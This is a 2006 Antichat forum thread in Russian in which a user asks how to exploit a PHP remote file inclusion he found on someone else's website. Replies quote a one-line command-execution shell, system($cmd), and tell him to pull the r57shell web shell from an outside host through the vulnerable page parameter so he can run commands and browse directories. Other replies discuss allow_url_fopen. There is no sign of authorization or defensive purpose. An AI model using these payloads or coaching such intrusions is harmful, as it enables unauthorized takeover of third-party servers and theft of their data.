ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
Перезагрузить страницу Объясните пожалуйста, нашел php-inj, что можно с нею сделать?
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Объясните пожалуйста, нашел php-inj, что можно с нею сделать?
  #1  
Старый 03.09.2006, 02:36
Марсеанчег
Новичок
Регистрация: 29.08.2006
Сообщений: 4
С нами: 10368231

Репутация: 0
По умолчанию Объясните пожалуйста, нашел php-inj, что можно с нею сделать?
На одном из сайтов нашел возможность инклуда файла в параметр страницы page=http://mysite.com/icx и файл icx.php выполнеятся. Что можно с этим сделать? Например использовать shell(я в этом темный, объясните или пошлите куда-то прочитать, что оно есть ... и ссылку откуда скачать можно шелл с манулом ) )Ну или считать содержимое файлов как? Вот таким кодом хочу считать содержимое файла
PHP код:
    if (fopen("http://www.somesite.com/main.php", "r")) { 
    echo "I can open it!";
    $lines = file("http://www.somesite.com/main.php") 


    foreach ($lines as $line_num => $line) {
    echo "#<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
    } 
Выдает такую ошибку

#1 : <b>Fatal error</b>: Call to undefined function: showmain() in <b>/home/somesite/public/main.php</b> on line <b>2</b><br />



//by SMiX: Код php суем в тег [php]
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось SMiX; 03.09.2006 в 13:16..
 
Ответить с цитированием

  #2  
Старый 03.09.2006, 02:47
[loy]
Участник форума
Регистрация: 24.03.2006
Сообщений: 184
С нами: 10596532

Репутация: 72
По умолчанию
иче

Распичатой на бумажке с форматом а4
Сходи с ней в туалет ............ потересь ей
поймеш какая плохая ошибка
 
Ответить с цитированием

  #3  
Старый 03.09.2006, 09:07
Марсеанчег
Новичок
Регистрация: 29.08.2006
Сообщений: 4
С нами: 10368231

Репутация: 0
По умолчанию
Цитата:
Простейший способ <?php system($cmd);?>
Я так понял эта беда там отключена, пробовал, не пашет...
Цитата:
Распичатой на бумажке с форматом а4
Сходи с ней в туалет ............ потересь ей
поймеш какая плохая ошибка
лечимся...
 
Ответить с цитированием

  #4  
Старый 03.09.2006, 09:19
gadjet
Познающий
Регистрация: 17.12.2005
Сообщений: 78
С нами: 10735477

Репутация: 23
По умолчанию
Попробуй page=http://rst.void.ru/download/r57shell.txt?
Сможешь выполнять команды, просматривать дирректории... Вобщем, действительно, поищи на ачате, найдешь все, что нужно. Советую посмотреть видео по подобной темматике(VIDEO.ANTICHAT.RU )
 
Ответить с цитированием

  #5  
Старый 03.09.2006, 13:20
SMiX
Участник форума
Регистрация: 25.07.2005
Сообщений: 246
С нами: 10944326

Репутация: 174
По умолчанию
Цитата:
#1 : <b>Fatal error</b>: Call to undefined function: showmain() in <b>/home/somesite/public/main.php</b> on line <b>2</b><br />
А можно весь код посмотреть?

ПыСька: В таких случаях не используем двойные кавычки, ибо производительность уменьшается. Двойные кавычки пхп парсит на наличие переменных, а у тебя там переменных нет - медвежий труд.
 
Ответить с цитированием

  #6  
Старый 03.09.2006, 18:03
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
С нами: 10578566

Репутация: 1228


По умолчанию
ну на сколько я помню то функцией fopen() можно открывать только файлы расположенный на том же сайте что и сам файл с функцией....
 
Ответить с цитированием

  #7  
Старый 03.09.2006, 21:26
SMiX
Участник форума
Регистрация: 25.07.2005
Сообщений: 246
С нами: 10944326

Репутация: 174
По умолчанию
nc.STRIEM ты не прав. Такое будет только если хостер спецом так настроит php.ini. По умолчанию урлы fopen открывать может.
 
Ответить с цитированием

  #8  
Старый 03.09.2006, 22:44
em00s7
Участник форума
Регистрация: 02.05.2006
Сообщений: 193
С нами: 10539834

Репутация: 25
По умолчанию
Марсеанчег кидай строчку на который есть showmain() -))) или весь код )
 
Ответить с цитированием

  #9  
Старый 05.09.2006, 01:33
[loy]
Участник форума
Регистрация: 24.03.2006
Сообщений: 184
С нами: 10596532

Репутация: 72
По умолчанию
вот
тут меня попросили нормально написать пишу

вот из мана {

HTTP-соединения являются read-only; вы не можете записывать данные или копировать файлы в HTTP-ресурс.
}
fopen('http://vasya.narod.ru/file','r')
будет открыто соидение http если в php.ini стоит
allow_url_fopen=on
если что обращаейтесть я уже на пхп не первой год пишу

для gadjet
Цитата:
page=http://rst.void.ru/download/r57shell.txt?
если хостер поставил allow_url_fopen=off
то если http://rst.void.ru/download/r57shell.txt обрабатываецо фунций fopen то не фига не получитца
Последний раз редактировалось [loy]; 05.09.2006 в 01:37..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Наша служба и опасна и трудна) Copyright_2000 Болталка 10 28.05.2008 19:20
Есть шелл на винде. Что можно сделать? bandera Windows 5 05.07.2006 17:23
Что можно сделать с ip адресом iRedX Skype, IRC, ICQ, Jabber и другие IM 1 01.04.2003 21:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.